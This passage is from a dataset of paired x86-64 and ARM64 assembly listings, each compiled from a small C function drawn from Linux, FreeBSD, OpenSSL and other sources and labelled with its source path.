bl _dma_fence_signal
mov x0, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _dma_fence_put
LBB0_4:
mov x0, x19
bl _qxl_release_free_list
mov x0, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _kfree
.loh AdrpAdd Lloh0, Lloh1
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "release %d, type %d\n"
.subsections_via_symbols
| AnghaBench/linux/drivers/gpu/drm/qxl/extr_qxl_release.c_qxl_release_free.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function ext2fs_seek
_ext2fs_seek: ## @ext2fs_seek
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %esi, %eax
movq (%rdi), %rcx
cmpl $130, %edx
je LBB0_4
## %bb.1:
cmpl $129, %edx
je LBB0_5
## %bb.2:
cmpl $128, %edx
je LBB0_3
## %bb.6:
movq _EINVAL@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq _errno@GOTPCREL(%rip), %rcx
movl %eax, (%rcx)
movl $-1, %eax
popq %rbp
retq
LBB0_4:
addl (%rcx), %eax
LBB0_3:
movl %eax, (%rcx)
popq %rbp
retq
LBB0_5:
movl 4(%rcx), %edx
subl %eax, %edx
movl %edx, (%rcx)
movl %edx, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _EINVAL,4,2 ## @EINVAL
.comm _errno,4,2 ## @errno
.no_dead_strip _ext2fs_seek
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function ext2fs_seek
_ext2fs_seek: ; @ext2fs_seek
.cfi_startproc
; %bb.0:
ldr x8, [x0]
cmp w2, #130
b.eq LBB0_4
; %bb.1:
cmp w2, #129
b.eq LBB0_5
; %bb.2:
cmp w2, #128
b.eq LBB0_6
; %bb.3:
Lloh0:
adrp x8, _EINVAL@GOTPAGE
Lloh1:
ldr x8, [x8, _EINVAL@GOTPAGEOFF]
Lloh2:
ldr w8, [x8]
Lloh3:
adrp x9, _errno@GOTPAGE
Lloh4:
ldr x9, [x9, _errno@GOTPAGEOFF]
Lloh5:
str w8, [x9]
mov w0, #-1
ret
LBB0_4:
ldr w9, [x8]
add w1, w9, w1
b LBB0_6
LBB0_5:
ldr w9, [x8, #4]
sub w1, w9, w1
LBB0_6:
str w1, [x8]
mov x0, x1
ret
.loh AdrpLdrGotStr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _EINVAL,4,2 ; @EINVAL
.comm _errno,4,2 ; @errno
.no_dead_strip _ext2fs_seek
.subsections_via_symbols
| AnghaBench/freebsd/stand/libsa/extr_ext2fs.c_ext2fs_seek.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function cptvf_write_vq_saddr
_cptvf_write_vq_saddr: ## @cptvf_write_vq_saddr
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movl %esi, %r14d
movl (%rdi), %ebx
xorl %edi, %edi
xorl %esi, %esi
callq _CPTX_VQX_SADDR
movl %ebx, %edi
movl %eax, %esi
movl %r14d, %edx
popq %rbx
popq %r14
popq %rbp
jmp _cpt_write_csr64 ## TAILCALL
.cfi_endproc
## -- End function
.no_dead_strip _cptvf_write_vq_saddr
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function cptvf_write_vq_saddr
_cptvf_write_vq_saddr: ; @cptvf_write_vq_saddr
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x1
ldr w20, [x0]
mov w0, #0
mov w1, #0
bl _CPTX_VQX_SADDR
mov x1, x0
mov x0, x20
mov x2, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _cpt_write_csr64
.cfi_endproc
; -- End function
.no_dead_strip _cptvf_write_vq_saddr
.subsections_via_symbols
| AnghaBench/linux/drivers/crypto/cavium/cpt/extr_cptvf_main.c_cptvf_write_vq_saddr.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function ls041y3_esd_check_mode1
_ls041y3_esd_check_mode1: ## @ls041y3_esd_check_mode1
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
subq $16, %rsp
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rdi, %rbx
movq _MIPID_CMD_RDDSDR@GOTPCREL(%rip), %r14
movl (%r14), %esi
leaq -24(%rbp), %rdx
movl $1, %ecx
callq _mipid_read
movq %rbx, %rdi
xorl %esi, %esi
callq _set_sleep_mode
movl (%r14), %esi
leaq -20(%rbp), %rdx
movq %rbx, %rdi
movl $1, %ecx
callq _mipid_read
movq (%rbx), %rdi
movl -24(%rbp), %edx
movl -20(%rbp), %ecx
leaq L_.str(%rip), %rsi
callq _dev_dbg
movl -20(%rbp), %eax
xorl -24(%rbp), %eax
testb $64, %al
jne LBB0_2
## %bb.1:
movq %rbx, %rdi
callq _ls041y3_esd_recover
LBB0_2:
addq $16, %rsp
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _MIPID_CMD_RDDSDR,4,2 ## @MIPID_CMD_RDDSDR
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "ESD mode 1 state1 %02x state2 %02x\n"
.no_dead_strip _ls041y3_esd_check_mode1
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function ls041y3_esd_check_mode1
_ls041y3_esd_check_mode1: ; @ls041y3_esd_check_mode1
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
Lloh0:
adrp x20, _MIPID_CMD_RDDSDR@GOTPAGE
Lloh1:
ldr x20, [x20, _MIPID_CMD_RDDSDR@GOTPAGEOFF]
ldr w1, [x20]
add x2, sp, #12
mov w3, #1
bl _mipid_read
mov x0, x19
mov w1, #0
bl _set_sleep_mode
ldr w1, [x20]
add x2, sp, #8
mov x0, x19
mov w3, #1
bl _mipid_read
ldr x0, [x19]
ldp w3, w2, [sp, #8]
Lloh2:
adrp x1, l_.str@PAGE
Lloh3:
add x1, x1, l_.str@PAGEOFF
bl _dev_dbg
ldp w9, w8, [sp, #8]
eor w8, w9, w8
tbnz w8, #6, LBB0_2
; %bb.1:
mov x0, x19
bl _ls041y3_esd_recover
LBB0_2:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #48
ret
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpLdrGot Lloh0, Lloh1
.cfi_endproc
; -- End function
.comm _MIPID_CMD_RDDSDR,4,2 ; @MIPID_CMD_RDDSDR
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "ESD mode 1 state1 %02x state2 %02x\n"
.no_dead_strip _ls041y3_esd_check_mode1
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/video/omap/extr_lcd_mipid.c_ls041y3_esd_check_mode1.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _isKeyword ## -- Begin function isKeyword
.p2align 4, 0x90
_isKeyword: ## @isKeyword
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %r15
movq _keywords(%rip), %rdi
xorl %r14d, %r14d
testq %rdi, %rdi
je LBB0_5
## %bb.1:
leaq _keywords+8(%rip), %rbx
.p2align 4, 0x90
LBB0_3: ## =>This Inner Loop Header: Depth=1
movq %r15, %rsi
callq _strcmp
testl %eax, %eax
je LBB0_4
## %bb.2: ## in Loop: Header=BB0_3 Depth=1
movq (%rbx), %rdi
addq $8, %rbx
testq %rdi, %rdi
jne LBB0_3
jmp LBB0_5
LBB0_4:
movl $1, %r14d
LBB0_5:
movl %r14d, %eax
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "auto"
L_.str.1: ## @.str.1
.asciz "double"
L_.str.2: ## @.str.2
.asciz "int"
L_.str.3: ## @.str.3
.asciz "struct"
L_.str.4: ## @.str.4
.asciz "break"
L_.str.5: ## @.str.5
.asciz "else"
L_.str.6: ## @.str.6
.asciz "long"
L_.str.7: ## @.str.7
.asciz "switch"
L_.str.8: ## @.str.8
.asciz "case"
L_.str.9: ## @.str.9
.asciz "enum"
L_.str.10: ## @.str.10
.asciz "register"
L_.str.11: ## @.str.11
.asciz "typedef"
L_.str.12: ## @.str.12
.asciz "char"
L_.str.13: ## @.str.13
.asciz "extern"
L_.str.14: ## @.str.14
.asciz "return"
L_.str.15: ## @.str.15
.asciz "union"
L_.str.16: ## @.str.16
.asciz "continue"
L_.str.17: ## @.str.17
.asciz "for"
L_.str.18: ## @.str.18
.asciz "signed"
L_.str.19: ## @.str.19
.asciz "void"
L_.str.20: ## @.str.20
.asciz "do"
L_.str.21: ## @.str.21
.asciz "if"
L_.str.22: ## @.str.22
.asciz "static"
L_.str.23: ## @.str.23
.asciz "while"
L_.str.24: ## @.str.24
.asciz "default"
L_.str.25: ## @.str.25
.asciz "goto"
L_.str.26: ## @.str.26
.asciz "sizeof"
L_.str.27: ## @.str.27
.asciz "volatile"
L_.str.28: ## @.str.28
.asciz "const"
L_.str.29: ## @.str.29
.asciz "float"
L_.str.30: ## @.str.30
.asciz "short"
L_.str.31: ## @.str.31
.asciz "unsigned"
.section __DATA,__data
.globl _keywords ## @keywords
.p2align 4
_keywords:
.quad L_.str
.quad L_.str.1
.quad L_.str.2
.quad L_.str.3
.quad L_.str.4
.quad L_.str.5
.quad L_.str.6
.quad L_.str.7
.quad L_.str.8
.quad L_.str.9
.quad L_.str.10
.quad L_.str.11
.quad L_.str.12
.quad L_.str.13
.quad L_.str.14
.quad L_.str.15
.quad L_.str.16
.quad L_.str.17
.quad L_.str.18
.quad L_.str.19
.quad L_.str.20
.quad L_.str.21
.quad L_.str.22
.quad L_.str.23
.quad L_.str.24
.quad L_.str.25
.quad L_.str.26
.quad L_.str.27
.quad L_.str.28
.quad L_.str.29
.quad L_.str.30
.quad L_.str.31
.quad 0
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _isKeyword ; -- Begin function isKeyword
.p2align 2
_isKeyword: ; @isKeyword
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
Lloh0:
adrp x8, _keywords@PAGE
Lloh1:
ldr x0, [x8, _keywords@PAGEOFF]
cbz x0, LBB0_5
; %bb.1:
Lloh2:
adrp x20, _keywords@PAGE+8
Lloh3:
add x20, x20, _keywords@PAGEOFF+8
LBB0_2: ; =>This Inner Loop Header: Depth=1
mov x1, x19
bl _strcmp
cbz w0, LBB0_4
; %bb.3: ; in Loop: Header=BB0_2 Depth=1
ldr x0, [x20], #8
cbnz x0, LBB0_2
b LBB0_5
LBB0_4:
mov w0, #1
LBB0_5:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.loh AdrpLdr Lloh0, Lloh1
.loh AdrpAdd Lloh2, Lloh3
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "auto"
l_.str.1: ; @.str.1
.asciz "double"
l_.str.2: ; @.str.2
.asciz "int"
l_.str.3: ; @.str.3
.asciz "struct"
l_.str.4: ; @.str.4
.asciz "break"
l_.str.5: ; @.str.5
.asciz "else"
l_.str.6: ; @.str.6
.asciz "long"
l_.str.7: ; @.str.7
.asciz "switch"
l_.str.8: ; @.str.8
.asciz "case"
l_.str.9: ; @.str.9
.asciz "enum"
l_.str.10: ; @.str.10
.asciz "register"
l_.str.11: ; @.str.11
.asciz "typedef"
l_.str.12: ; @.str.12
.asciz "char"
l_.str.13: ; @.str.13
.asciz "extern"
l_.str.14: ; @.str.14
.asciz "return"
l_.str.15: ; @.str.15
.asciz "union"
l_.str.16: ; @.str.16
.asciz "continue"
l_.str.17: ; @.str.17
.asciz "for"
l_.str.18: ; @.str.18
.asciz "signed"
l_.str.19: ; @.str.19
.asciz "void"
l_.str.20: ; @.str.20
.asciz "do"
l_.str.21: ; @.str.21
.asciz "if"
l_.str.22: ; @.str.22
.asciz "static"
l_.str.23: ; @.str.23
.asciz "while"
l_.str.24: ; @.str.24
.asciz "default"
l_.str.25: ; @.str.25
.asciz "goto"
l_.str.26: ; @.str.26
.asciz "sizeof"
l_.str.27: ; @.str.27
.asciz "volatile"
l_.str.28: ; @.str.28
.asciz "const"
l_.str.29: ; @.str.29
.asciz "float"
l_.str.30: ; @.str.30
.asciz "short"
l_.str.31: ; @.str.31
.asciz "unsigned"
.section __DATA,__data
.globl _keywords ; @keywords
.p2align 3
_keywords:
.quad l_.str
.quad l_.str.1
.quad l_.str.2
.quad l_.str.3
.quad l_.str.4
.quad l_.str.5
.quad l_.str.6
.quad l_.str.7
.quad l_.str.8
.quad l_.str.9
.quad l_.str.10
.quad l_.str.11
.quad l_.str.12
.quad l_.str.13
.quad l_.str.14
.quad l_.str.15
.quad l_.str.16
.quad l_.str.17
.quad l_.str.18
.quad l_.str.19
.quad l_.str.20
.quad l_.str.21
.quad l_.str.22
.quad l_.str.23
.quad l_.str.24
.quad l_.str.25
.quad l_.str.26
.quad l_.str.27
.quad l_.str.28
.quad l_.str.29
.quad l_.str.30
.quad l_.str.31
.quad 0
.subsections_via_symbols
| the_stack_data/1220145.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _nd6_resolve ## -- Begin function nd6_resolve
.p2align 4, 0x90
_nd6_resolve: ## @nd6_resolve
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %r9, %r13
movq %r8, -48(%rbp) ## 8-byte Spill
movq %rcx, %r12
movq %rdx, %r15
movq %rdi, %rbx
movq 16(%rbp), %r14
xorl %eax, %eax
callq _NET_EPOCH_ASSERT
testq %r13, %r13
je LBB0_2
## %bb.1:
movl $0, (%r13)
LBB0_2:
movq %rbx, %rdi
callq _ND_IFINFO
movq _ND6_IFF_IFDISABLED@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
testl %ecx, (%rax)
je LBB0_4
## %bb.3:
movq %r15, %rdi
callq _m_freem
movq _ENETDOWN@GOTPCREL(%rip), %rax
LBB0_23:
movl (%rax), %ebx
LBB0_24:
movl %ebx, %eax
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_4:
testq %r15, %r15
je LBB0_8
## %bb.5:
movq _M_MCAST@GOTPCREL(%rip), %rax
movl (%rax), %eax
testl %eax, (%r15)
je LBB0_8
## %bb.6:
movl (%rbx), %eax
addl $-128, %eax
cmpl $2, %eax
ja LBB0_22
## %bb.7:
movq %r12, %rdi
movq -48(%rbp), %rsi ## 8-byte Reload
callq _ETHER_MAP_IPV6_MULTICAST
xorl %ebx, %ebx
jmp LBB0_24
LBB0_8:
testq %r14, %r14
movq %r14, -56(%rbp) ## 8-byte Spill
jne LBB0_9
## %bb.10:
movq _LLE_UNLOCKED@GOTPCREL(%rip), %rax
jmp LBB0_11
LBB0_9:
movq _LLE_EXCLUSIVE@GOTPCREL(%rip), %rax
LBB0_11:
movl (%rax), %esi
movq %r12, %rdi
movq %rbx, %rdx
callq _nd6_lookup
testq %rax, %rax
je LBB0_21
## %bb.12:
movq %rax, %r14
movq _RLLE_VALID@GOTPCREL(%rip), %rax
movl (%rax), %eax
testl %eax, (%r14)
je LBB0_19
## %bb.13:
movl 20(%r14), %edx
movl 24(%r14), %edi
movq -48(%rbp), %rsi ## 8-byte Reload
callq _bcopy
testq %r13, %r13
je LBB0_15
## %bb.14:
movq _RLLE_IFADDR@GOTPCREL(%rip), %rax
movl (%rax), %eax
andl (%r14), %eax
movq _LLE_VALID@GOTPCREL(%rip), %rcx
orl (%rcx), %eax
movl %eax, (%r13)
LBB0_15:
cmpq $0, 8(%r14)
je LBB0_17
## %bb.16:
movq %r14, %rdi
callq _LLE_REQ_LOCK
movq $0, 8(%r14)
movq _time_uptime@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, 16(%r14)
movq %r14, %rdi
callq _LLE_REQ_UNLOCK
LBB0_17:
xorl %ebx, %ebx
movq -56(%rbp), %r15 ## 8-byte Reload
testq %r15, %r15
je LBB0_24
## %bb.18:
movq %r14, %rdi
callq _LLE_ADDREF
movq %r14, (%r15)
movq %r14, %rdi
callq _LLE_WUNLOCK
jmp LBB0_24
LBB0_22:
movq %r15, %rdi
callq _m_freem
movq _EAFNOSUPPORT@GOTPCREL(%rip), %rax
jmp LBB0_23
LBB0_19:
cmpq $0, -56(%rbp) ## 8-byte Folded Reload
je LBB0_21
## %bb.20:
movq %r14, %rdi
callq _LLE_WUNLOCK
LBB0_21:
movq %rbx, %rdi
xorl %esi, %esi
movq %r15, %rdx
movq %r12, %rcx
movq -48(%rbp), %r8 ## 8-byte Reload
movq %r13, %r9
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
jmp _nd6_resolve_slow ## TAILCALL
.cfi_endproc
## -- End function
.comm _ND6_IFF_IFDISABLED,4,2 ## @ND6_IFF_IFDISABLED
.comm _ENETDOWN,4,2 ## @ENETDOWN
.comm _M_MCAST,4,2 ## @M_MCAST
.comm _EAFNOSUPPORT,4,2 ## @EAFNOSUPPORT
.comm _LLE_EXCLUSIVE,4,2 ## @LLE_EXCLUSIVE
.comm _LLE_UNLOCKED,4,2 ## @LLE_UNLOCKED
.comm _RLLE_VALID,4,2 ## @RLLE_VALID
.comm _LLE_VALID,4,2 ## @LLE_VALID
.comm _RLLE_IFADDR,4,2 ## @RLLE_IFADDR
.comm _time_uptime,4,2 ## @time_uptime
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _nd6_resolve ; -- Begin function nd6_resolve
.p2align 2
_nd6_resolve: ; @nd6_resolve
.cfi_startproc
; %bb.0:
stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 80
stp x24, x23, [sp, #16] ; 16-byte Folded Spill
stp x22, x21, [sp, #32] ; 16-byte Folded Spill
stp x20, x19, [sp, #48] ; 16-byte Folded Spill
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
mov x19, x6
mov x20, x5
mov x21, x4
mov x23, x3
mov x22, x2
mov x24, x0
bl _NET_EPOCH_ASSERT
cbz x20, LBB0_2
; %bb.1:
str wzr, [x20]
LBB0_2:
mov x0, x24
bl _ND_IFINFO
ldr w8, [x0]
Lloh0:
adrp x9, _ND6_IFF_IFDISABLED@GOTPAGE
Lloh1:
ldr x9, [x9, _ND6_IFF_IFDISABLED@GOTPAGEOFF]
Lloh2:
ldr w9, [x9]
tst w9, w8
b.eq LBB0_6
; %bb.3:
mov x0, x22
bl _m_freem
Lloh3:
adrp x8, _ENETDOWN@GOTPAGE
Lloh4:
ldr x8, [x8, _ENETDOWN@GOTPAGEOFF]
LBB0_4:
ldr w0, [x8]
LBB0_5:
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
ldp x24, x23, [sp, #16] ; 16-byte Folded Reload
ldp x26, x25, [sp], #80 ; 16-byte Folded Reload
ret
LBB0_6:
cbz x22, LBB0_10
; %bb.7:
ldr w8, [x22]
Lloh5:
adrp x9, _M_MCAST@GOTPAGE
Lloh6:
ldr x9, [x9, _M_MCAST@GOTPAGEOFF]
Lloh7:
ldr w9, [x9]
tst w9, w8
b.eq LBB0_10
; %bb.8:
ldr w8, [x24]
sub w8, w8, #128
cmp w8, #2
b.hi LBB0_18
; %bb.9:
mov x0, x23
mov x1, x21
bl _ETHER_MAP_IPV6_MULTICAST
mov w0, #0
b LBB0_5
LBB0_10:
Lloh8:
adrp x8, _LLE_EXCLUSIVE@GOTPAGE
Lloh9:
ldr x8, [x8, _LLE_EXCLUSIVE@GOTPAGEOFF]
Lloh10:
adrp x9, _LLE_UNLOCKED@GOTPAGE
Lloh11:
ldr x9, [x9, _LLE_UNLOCKED@GOTPAGEOFF]
cmp x19, #0
csel x8, x9, x8, eq
ldr w1, [x8]
mov x0, x23
mov x2, x24
bl _nd6_lookup
cbz x0, LBB0_21
; %bb.11:
mov x25, x0
ldr w8, [x0]
Lloh12:
adrp x9, _RLLE_VALID@GOTPAGE
Lloh13:
ldr x9, [x9, _RLLE_VALID@GOTPAGEOFF]
Lloh14:
ldr w9, [x9]
tst w9, w8
b.eq LBB0_19
; %bb.12:
ldp w2, w0, [x25, #20]
mov x1, x21
bl _bcopy
cbz x20, LBB0_14
; %bb.13:
Lloh15:
adrp x8, _LLE_VALID@GOTPAGE
Lloh16:
ldr x8, [x8, _LLE_VALID@GOTPAGEOFF]
Lloh17:
ldr w8, [x8]
ldr w9, [x25]
Lloh18:
adrp x10, _RLLE_IFADDR@GOTPAGE
Lloh19:
ldr x10, [x10, _RLLE_IFADDR@GOTPAGEOFF]
Lloh20:
ldr w10, [x10]
and w9, w10, w9
orr w8, w9, w8
str w8, [x20]
LBB0_14:
ldr x8, [x25, #8]
cbz x8, LBB0_16
; %bb.15:
mov x0, x25
bl _LLE_REQ_LOCK
str xzr, [x25, #8]
Lloh21:
adrp x8, _time_uptime@GOTPAGE
Lloh22:
ldr x8, [x8, _time_uptime@GOTPAGEOFF]
Lloh23:
ldr w8, [x8]
str w8, [x25, #16]
mov x0, x25
bl _LLE_REQ_UNLOCK
LBB0_16:
cbz x19, LBB0_22
; %bb.17:
mov x0, x25
bl _LLE_ADDREF
str x25, [x19]
mov x0, x25
bl _LLE_WUNLOCK
mov w0, #0
b LBB0_5
LBB0_18:
mov x0, x22
bl _m_freem
Lloh24:
adrp x8, _EAFNOSUPPORT@GOTPAGE
Lloh25:
ldr x8, [x8, _EAFNOSUPPORT@GOTPAGEOFF]
b LBB0_4
LBB0_19:
cbz x19, LBB0_21
; %bb.20:
mov x0, x25
bl _LLE_WUNLOCK
LBB0_21:
mov x0, x24
mov w1, #0
mov x2, x22
mov x3, x23
mov x4, x21
mov x5, x20
mov x6, x19
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
ldp x24, x23, [sp, #16] ; 16-byte Folded Reload
ldp x26, x25, [sp], #80 ; 16-byte Folded Reload
b _nd6_resolve_slow
LBB0_22:
mov w0, #0
b LBB0_5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGot Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7
.loh AdrpLdrGot Lloh10, Lloh11
.loh AdrpLdrGot Lloh8, Lloh9
.loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14
.loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20
.loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17
.loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23
.loh AdrpLdrGot Lloh24, Lloh25
.cfi_endproc
; -- End function
.comm _ND6_IFF_IFDISABLED,4,2 ; @ND6_IFF_IFDISABLED
.comm _ENETDOWN,4,2 ; @ENETDOWN
.comm _M_MCAST,4,2 ; @M_MCAST
.comm _EAFNOSUPPORT,4,2 ; @EAFNOSUPPORT
.comm _LLE_EXCLUSIVE,4,2 ; @LLE_EXCLUSIVE
.comm _LLE_UNLOCKED,4,2 ; @LLE_UNLOCKED
.comm _RLLE_VALID,4,2 ; @RLLE_VALID
.comm _LLE_VALID,4,2 ; @LLE_VALID
.comm _RLLE_IFADDR,4,2 ; @RLLE_IFADDR
.comm _time_uptime,4,2 ; @time_uptime
.subsections_via_symbols
| AnghaBench/freebsd/sys/netinet6/extr_nd6.c_nd6_resolve.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function pkey_ecd_digestverify448
_pkey_ecd_digestverify448: ## @pkey_ecd_digestverify448
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %r8, %r14
movq %rcx, %r15
movq %rdx, %rbx
movq %rsi, %r12
callq _EVP_MD_CTX_pkey_ctx
movq _ED448_SIGSIZE@GOTPCREL(%rip), %rcx
cmpq %rbx, (%rcx)
jne LBB0_1
## %bb.2:
movq (%rax), %rax
movq (%rax), %rax
movl (%rax), %ecx
movq %r15, %rdi
movq %r14, %rsi
movq %r12, %rdx
xorl %r8d, %r8d
xorl %r9d, %r9d
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
jmp _ED448_verify ## TAILCALL
LBB0_1:
xorl %eax, %eax
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _ED448_SIGSIZE,8,3 ## @ED448_SIGSIZE
.no_dead_strip _pkey_ecd_digestverify448
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function pkey_ecd_digestverify448
_pkey_ecd_digestverify448: ; @pkey_ecd_digestverify448
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x4
mov x21, x3
mov x22, x2
mov x20, x1
bl _EVP_MD_CTX_pkey_ctx
Lloh0:
adrp x8, _ED448_SIGSIZE@GOTPAGE
Lloh1:
ldr x8, [x8, _ED448_SIGSIZE@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
cmp x8, x22
b.ne LBB0_2
; %bb.1:
ldr x8, [x0]
ldr x8, [x8]
ldr w3, [x8]
mov x0, x21
mov x1, x19
mov x2, x20
mov x4, #0
mov w5, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
b _ED448_verify
LBB0_2:
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
